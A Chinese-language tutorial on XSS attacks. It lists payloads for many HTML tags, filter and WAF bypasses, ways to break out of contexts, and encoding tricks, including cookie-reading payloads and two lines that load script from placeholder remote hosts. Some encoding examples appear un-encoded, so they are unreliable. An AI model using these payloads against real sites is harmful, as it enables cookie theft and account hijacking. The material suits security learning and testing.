XSS跨站腳本攻擊
簡介
XSS全稱跨站腳本(Cross Site Scripting),為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故縮寫為XSS。XSS攻擊通常指的是通過利用網頁開發時留下的漏洞,通過巧妙的方法注入惡意指令代碼到網頁,使用戶加載並執行攻擊者惡意制造的網頁程序。這些惡意網頁程序通常是JavaScript,但實際上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻擊成功后,攻擊者可能得到包括但不限於更高的權限(如執行一些操作)、私密網頁內容、會話和cookie等各種內容。
原理
通過在用戶端注入惡意的可執行腳本,若服務器對用戶的輸入不進行處理或處理不嚴,則瀏覽器就會直接執行用戶注入的腳本。
注:XSS常見出現漏洞的地方,數據交互的地方,數據輸出的地方
XSS的分類
反射性XSS
存儲型XSS
DOM型XSS
反射性XSS
這種攻擊方式往往具有一次性,只在用戶單擊時觸發。網站的搜索欄、用戶登錄入口、輸入表單等地方都可以嘗試,常用來竊取客戶端cookies或釣魚欺騙。
攻擊方式
攻擊者通過電子郵件等方式將包含XSS代碼的惡意鏈接發送給目標用戶。當目標用戶訪問該鏈接時,服務器接受該目標用戶的請求並進行處理,然后服務器把帶有XSS的代碼發送給目標用戶的瀏覽器,瀏覽器解析這段帶有XSS代碼的惡意腳本后,就會觸發XSS漏洞。
存儲型XSS
攻擊者向網站注入的攻擊腳本被永久的存放在目標服務器的數據庫或文件中。每次用戶訪問鏈接就會觸發惡意腳本。論壇、博客、留言板、網站的留言、評論、日志等交互處都可以嘗試。
攻擊方式
攻擊者在發帖、留言、評論的過程中,將惡意腳本連同正常信息一起注入到發布內容中。隨着發布內容被服務器存儲下來,惡意腳本也將永久的存放到服務器的后端存儲器中。當其他用戶瀏覽這個被注入了惡意腳本的帖子時,惡意腳本就會在用戶的瀏覽器中得到執行。
DOM型XSS
DOM(Document object model),使用DOM能夠使程序和腳本能夠動態訪問和更新文檔的內容、結構和樣式。DOM型XSS其實是一種特殊類型的反射型XSS,它是基於DOM文檔對象的一種漏洞。DOM型XSS是基於js上的,不需要與服務器進行交互。
攻擊方式
用戶請求一個經過專門設計的URL,它由攻擊者提供,而且其中包含XSS代碼。服務器的響應不會以任何形式包含攻擊者的腳本,當用戶的瀏覽器處理這個響應時,DOM對象就會處理XSS代碼,導致存在XSS漏洞。
//觸發DOM型XSS的屬性
document.write
document.referer
window.name
location
innerHTML
......
XSS的攻擊載荷
script標簽
<script>
標簽用於定義客戶端腳本
<script>alert("xss")</script>
<script>alert(/xss/)</script>
<script>alert(document.cookie)</script>
<script src=http://xxx.com/xss.js></script>
svg標簽
<svg>
標簽用來在HTML頁面中直接嵌入SVG 文件的代碼。 //
等價於 >
<svg onload="alert("xss")">
<svg onload="alert("xss")"//
img標簽
<img>
標簽定義 HTML 頁面中的圖像。
<img src=1 onerror=alert("xss")>
<img src=1 onerror=alert(document.cookie)>
<img src=1 onerror=eval("alert('xss')")>
<img src=javascript:alert("xss")>
<img src=javascript:alert(String.formCharCode(88,83,83))>
<img src=1 onmouseover=alert('xss')>
body標簽
<body>
標簽定義文檔的主體。
<body onload=alert('xss')>
<body onpageshow=alert('xss')>
video標簽
<video>
標簽定義視頻,比如電影片段或其他視頻流。
<video><source onerror=alert(1)>
style標簽
<style>
標簽定義 HTML 文檔的樣式信息。
<style onload=alert(1)></style>
input標簽
<input>
標簽規定了用戶可以在其中輸入數據的輸入字段。點擊輸入框觸發
<input onfocus=alert(1);>
<input value="" onclick=alert('xss') type="text">
<input name="name" value=""onmouseover=prompt('xss') bad="">
<input name="name" value=""><script>alert('xss')</script>
<input onblur=alert(1) autofocus><input autofocus>
<input onfocus="alert(1);" autofocus>
details 標簽
<details>
標簽通過提供用戶開啟關閉的交互式控件,規定了用戶可見的或者隱藏的需求的補充細節。
<details ontoggle=alert(1);>
<details open ontoggle=alert(1);>
select 標簽
<select>
標簽用來創建下拉列表。
<select onfocus=alert(1)></select>
<select onfocus=alert(1) autofocus>
iframe標簽
<iframe>
標簽會創建包含另外一個文檔的內聯框架。
<iframe onload=alert(1);></iframe>
audio 標簽
<audio>
標簽定義聲音,比如音樂或其他音頻流。
<audio src=x onerror=alert(1);>
textarea 標簽
<textarea>
標簽定義一個多行的文本輸入控件。
<textarea onfocus=alert(1); autofocus>
marquee 標簽
<marquee onstart=alert(1)></marquee> //Chrome不行,火狐和IE都可以
isindex 標簽
<isindex type=image src=1 onerror=alert(1)>//僅限於IE
link 標簽
<link>
標簽定義文檔與外部資源的關系。在無CSP的情況下才可以使用:
<link rel=import href="http://47.xxx.xxx.72/evil.js">
a 標簽
<a href="javascript:alert(1);">xss</a>
form標簽
<form action="Javascript:alert(1)"><input type=submit>
XSS 常見繞過姿勢
繞過空格過濾
當空格被過濾了時,我們可以用 /
來代替空格:
<img/src="x"/onerror=alert(1);>
繞過引號過濾
如果是html標簽中,我們可以不用引號。如果是在js中,我們可以用反引號代替單雙引號:
<img src=x onerror=alert(`xss`);>
繞過括號過濾
當括號被過濾的時候可以使用throw來繞過。throw 語句用於當錯誤發生時拋出一個錯誤。
<img src=x onerror="javascript:window.onerror=alert;throw 1">
<a onmouseover="javascript:window.onerror=alert;throw 1>
繞過關鍵字過濾
大小寫繞過
<sCRiPt>alert(1);</sCrIpT>
<ImG sRc=x onerRor=alert(1);>
雙寫繞過
有些waf可能會只替換一次且是替換為空,這種情況下我們可以考慮雙寫關鍵字繞過
<scrscriptipt>alert(1);</scrscriptipt>
<imimgg srsrcc=x onerror=alert(1);>
字符串拼接繞過
利用eval()函數
與PHP的eval()函數相同,JavaScript的eval()函數也可以計算 JavaScript 字符串,並把它作為腳本代碼來執行。
<img src="x" onerror="a='aler';b='t';c='(1)';eval(a+b+c)">
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
<!--在js中,我們可以用反引號代替單雙引號-->
利用top
<script>top["al"+"ert"](`xss`);</script>
<script>top["al"+"ert"]("xss");</script>
XSS 輸出點總結
輸出在屬性里
例如輸出的位置位於value屬性中:
<input value="[輸出]" type=text>
我們可以選擇直接閉合標簽:
"><img src=x onerror=alert(1);>
<!--輸出后如下:-->
<input value=""><img src=x onerror=alert(1);>" type=text>
<!--還有一些特殊的場景,如:-->
<input type="hidden" value="[輸出]" />
<input value="[輸出點]" type="hidden"/>
<!--這里只能把input標簽閉合,然后直接執行腳本,否則會因為type為hidden導致無法執行腳本。-->
如果<input>
中 < >
被過濾的話可以換成選擇使用事件來閉合屬性,並將后面的引號注釋掉或閉合:
" autofocus onfocus=alert(1)//
" autofocus onfocus=alert(1) "
" onmouseover=prompt(0) x="
" onfocusin=alert(1) autofocus x="
" onfocusout=alert(1) autofocus x="
" onblur=alert(1) autofocus a="
" autofocus onfocus=javascript:alert(1)//
<!--輸出后如下:-->
<input value="" autofocus onfocus=alert(1)//" type=text>
輸出在HTML標簽之間
例如輸出的位置如下:
<div id="body">[輸出]</div>
直接提交 <script>alert(1)</script>
即可觸發XSS,但是當標簽是不能執行腳本的標簽時,如下面這幾個:
<title></title>
<textarea></textarea>
<xmp></xmp>
<iframe></iframe>
那么就得先把那個標簽閉合,然后在注入XSS語句,例如:
</textarea><script>alert(1)</script>
輸出在script標簽之間
例如:
<script>
var x = "input";
</script>
可控位置在input,可以閉合script標簽插入代碼,但是同樣我們僅僅閉合雙引號就可以執行js代碼了:
";alert(1)//
<!--輸出后如下:-->
<script>var x = "";alert(1)//";</script>
XSS 字符編碼繞過
瀏覽器整個解析順序為3個環節:HTML實體解碼 —>URL解碼 —>JS解碼(只支持Unicode)
我們可以對XSS攻擊語句做這三種編碼都可以成功彈框。
HTML 實體編碼
我們可以將DOM節點中的內容轉化為HTML實體,因為解析HTML之后建立起節點,然后會對DOM節點里面的HTML實體進行解析。HTML 編碼主要分為10進制和16進制,格式為以 &#
開頭以分號 ;
結尾(也可以不帶分號)。
如<
的編碼為<(10進制)
、<(16進制)
可以使用https://bianma.bmcx.com/進行編碼
<!--
<a href=javascript:alert("xss")>test\</a>
-->
<!--十進制-->
<a href=javascript:alert("xss")>test</a>
<!--十六進制-->
<a href=javascript:alert("xss")>test</a>
<!--也可以不帶分號-->
<a href=javascript:alert("xss")>test</a>
<!--<img src=x onerror=alert("xss")>-->
<!--十進制-->
<img src=x onerror=alert("xss")>
<!--十六進制-->
<img src=x onerror=alert("xss")>
<!--也可以不帶分號-->
<img src=x onerror=alert("xss")>
HTML字符實體,並不是說任何地方都可以使用實體編碼,只有處於 “數據狀態中的字符引用”、“屬性值狀態中的字符引用” 和 “RCDATA狀態中的字符引用” 這三種狀態中的HTML字符實體將會從 &#…
形式解碼,轉化成對應的解碼字符並被放入數據緩沖區中。
一個HTML解析器作為一個狀態機,它從輸入流中獲取字符並按照轉換規則轉換到另一種狀態。在解析過程中,任何時候它只要遇到一個 < 符號(后面沒有跟 /符號)就會進入 標簽開始狀態(Tag open state) ,然后轉變到 標簽名狀態(Tag name state) 、 前屬性名狀態(before attribute name state) ......最后進入 數據狀態(Data state) 並釋放當前標簽的token。當解析器處於數據狀態(Data state) 時,它會繼續解析,每當發現一個完整的標簽,就會釋放出一個token。
簡單的說就是,瀏覽器對HTML解碼之后就開始解析HTML文檔,將眾多標簽轉化為內容樹中的DOM節點,此時識別標簽的時候,HTML解析器是無法識別那些被實體編碼的內容的,只有建立起DOM樹,才能對每個節點的內容進行識別,如果出現實體編碼,則會進行實體解碼,只要是DOM節點里屬性的值,都可以被HTML編碼和解析。
數據狀態中的字符引用:數據狀態就是解析一個標簽內里面的內容,如 <div>...</div>
中的內容,當瀏覽器解析完 <div>
標簽之后如果發現標簽內還含有實體字符的話,就會有一個實體編碼解析了
屬性值狀態中的字符引用:屬性值狀態中的字符引用就好理解了,就是src,herf這樣的屬性值中的HTML實體,他也是會先進行HTML解碼的。
RCDATA狀態中的字符引用:然后再來看一下什么是RCDATA轉態,這里需要我們先了解一下HTML中有五類元素:
- 空元素(Void elements),如
<area>
、<br>
、<base>
等等。空元素不能容納任何內容,因為它們沒有閉合標簽,沒有內容能夠放在開始標簽和閉合標簽中間。 - 原始文本元素(Raw text elements),有
<script>
和<style>
。原始文本元素可以容納文本。 - RCDATA元素(RCDATA elements),有
<textarea>
和<title>
。RCDATA元素可以容納文本和字符引用。 - 外部元素(Foreign elements),例如MathML命名空間或者SVG命名空間的元素。外部元素可以容納文本、字符引用、CDATA段、其他元素和注釋。
- 基本元素(Normal elements),即除了以上4種元素以外的元素。基本元素可以容納文本、字符引用、其他元素和注釋。
注意到RCDATA元素中有 <textarea>
和 <title>
兩個屬性並且有字符引用,也就是當實體字符出現在這兩個標簽里面的時候,實體字符會被識別並進行HTML編碼解析。這里要再提醒一次,在解析這些字符引用的過程中不會進入“標簽開始狀態”,所以就不會建立新的標簽,所以HTML編碼的XSS語句觸發不了XSS。
HTML的五類元素中,像 <script>
、<style>
這樣的原始文本元素在這個標簽內容納的是文本,所以瀏覽器在解析到這個標簽后,里面內容中的HTML編碼並不會被認為是HTML實體引用,所以並不會被解碼為相應的字符,不會觸發語句原有的結果。但是當在前面加上 <svg>
,即可成功彈窗。
URL編碼
我們可以並將src或href屬性中的內容進行URL編碼,當HTML解析器對src或href中的字符完成HTML解碼后,接下來URL解析器會對src或href中的值進行URL解碼。
<a href=javascript:alert("xss")>test</a>
<a href=javascript:%61%6c%65%72%74%28%22%78%73%73%22%29>test</a>
<iframe src=javascript:alert("xss")></iframe>
<iframe src="javascript:%61%6c%65%72%74%28%22%78%73%73%22%29"></iframe>
<!--偽協議頭 javascript: 是不能進行編碼的。這里就有一個URL解析過程中的一個細節了,
即不能對協議類型進行任何的編碼操作,否則URL解析器會認為它無類型,
就會導致DOM節點中被編碼的“javascript”沒有被解碼,當然不會被URL解析器識別了。
如:
http://www.baidu.com 可以被URL編碼為 http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d,
但是不能把協議也進URL編碼:%68%74%74%70%3a%2f%2f%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d
但是偽協議頭 javascript: 可以進行HTML編碼。
-->
Javascript 編碼
我們可以將DOM節點中的內容轉化為 Javascript 編碼。當HTML解析產生DOM節點后,會根據DOM節點來做接下來的解析工作,比如在處理諸如 <script>
、<style>
這樣的標簽時,解析器會自動切換到JavaScript解析模式,而 src、 href 后邊加入的 javascript 偽URL,也會進入 JavaScript 的解析模式。Javascript 中可以識別的編碼類型有:
- Unicode 編碼
- 八進制編碼
- 十六進制編碼
Unicode編碼的比較廣泛,而八進制和十六進制只有在DOM環境或eval()等函數中才可以用。
Unicode 編碼
<script>alert("xss")</script>
<script>\u0061\u006C\u0065\u0072\u0074("xss")</script>
<script>\u0061\u006C\u0065\u0072\u0074("\u0078\u0073\u0073")</script>
<a href=javascript:alert("xss")>test</a>
<a href=javascript:\u0061\u006C\u0065\u0072\u0074("xss")>test</a>
<a href=javascript:\u0061\u006C\u0065\u0072\u0074("\u0078\u0073\u0073")>test</a>
<!--不能對偽協議頭 javascript: 進行 Javascript 編碼。並且像圓括號、雙引號、單引號這樣的符號我們也不能進 Javascript 編碼,但是能進行HTML編碼。-->
在DOM環境中的JavaScript編碼
對於八進制編碼和十六進制編碼,與 Unicode 編碼還是有區別,要想讓他們能夠執行我們要將他們放在DOM環境中
<script>alert("xss")</script>
<script>\141\154\145\162\164("xss")</script>
<a href=javascript:alert("xss")>test</a>
<a href=javascript:\x61\x6c\x65\x72\x74("xss")>test</a>
<!--如果過濾了 <、>、'、"、&、% 等等這些字符的話,我們便可以用JavaScript編碼的方法將XSS語句全部編碼-->
即 <iframe src=javascript:alert('xss')></iframe> 的以下編碼都可以彈窗:
<!--Unicode編碼-->
\u003C\u0069\u0066\u0072\u0061\u006D\u0065\u0020\u0073\u0072\u0063\u003D\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003A\u0061\u006C\u0065\u0072\u0074\u0028\u0027\u0078\u0073\u0073\u0027\u0029\u003E\u003C\u002F\u0069\u0066\u0072\u0061\u006D\u0065\u003E
<!--八進制編碼-->
\74\151\146\162\141\155\145\40\163\162\143\75\152\141\166\141\163\143\162\151\160\164\72\141\154\145\162\164\50\47\170\163\163\47\51\76\74\57\151\146\162\141\155\145\76
<!--十六進制編碼-->
\x3c\x69\x66\x72\x61\x6d\x65\x20\x73\x72\x63\x3d\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3a\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29\x3e\x3c\x2f\x69\x66\x72\x61\x6d\x65\x3e
另一種彈窗的方法
<script>alert("xss")</script>
<script>eval("\141\154\145\162\164\50\42\170\163\163\42\51")</script>
<a href=javascript:alert("xss")>test</a>
<a href=javascript:eval("\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73\x22\x29")>test</a>
<img src=x onerror=alert("xss")>
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
混合編碼
<a href=javascript:alert("xss")>test</a>
首先對“alert”進行JavaScript Unicode編碼:
<a href=javascript:\u0061\u006C\u0065\u0072\u0074("xss")>test</a>
然后再對 \u0061\u006c\u0065\u0072\u0074 進行URL編碼:
<a href=javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34("xss")>test</a>
最后對標簽中的 javascript:%5c%75...%37%34("xss") 整體進行HTML編碼即可:
<svg><a href=javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34("xss")>test</a>
參考文章
https://www.freebuf.com/articles/web/280415.html
https://blog.csdn.net/machinegunjoe/article/details/117815159